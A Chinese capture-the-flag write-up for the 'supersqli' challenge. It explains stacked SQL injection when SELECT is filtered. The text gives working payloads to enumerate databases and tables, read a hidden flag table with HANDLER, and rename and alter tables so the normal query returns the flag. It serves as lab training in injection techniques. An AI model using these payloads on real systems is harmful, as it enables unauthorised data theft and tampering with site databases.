攻防世界 supersqli
本道題考查的是sql注入中的堆疊注入
?
?該題只有一個查詢框,我們嘗試使用聯(lián)合注入,但是發(fā)現select等被過濾了
?
?所以我們嘗試使用堆疊注入,堆疊注入就是使用分號隔開要執(zhí)行的多條sql語句,且可執(zhí)行任意的sql語句,而union聯(lián)合注入執(zhí)行的語句類型是有限的
?執(zhí)行以下payload:
1';show databases;# 1';show tables from supersqli;#?
然后我們依次查看兩個表中的列名,再爆字段
1';show columns from `1919810931114514`;#我們找到了flag列,但是select被過濾我們只能嘗試其他方法
方法一: handler查詢
有關handler的姿勢可看這篇文章:
https://blog.csdn.net/qq_43427482/article/details/109898934
?payload如下:
-1';handler `1919810931114514` open as p;handler p read first;#?方法二:改名法
這道題沒有過濾rename和alter,我們先康康正常查詢的時候查的是哪個表
猜測一下默認查的是supersqli庫的words表
-1';handler words open as a;handler a read next;#?這里查詢的結果和直接輸入1是一樣的,這樣驗證了我們的猜想,所以接下來我們把表1919810931114514改成words,字段名flag改為id然后直接查詢就可以得到flag了
改名的語法介紹可參考以下文章:
https://www.jianshu.com/p/e05b8852b725
https://blog.csdn.net/y_18800130246/article/details/120288110
1';rename tables words to words1;rename tables `1919810931114514` to words; alter table words change flag id varchar(100);# 1' or 1=1#?
?
總結
以上是生活随笔為你收集整理的攻防世界 supersqli的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: pandas画图的几个技巧
- 下一篇: Flutter 混编(Xcode)的坑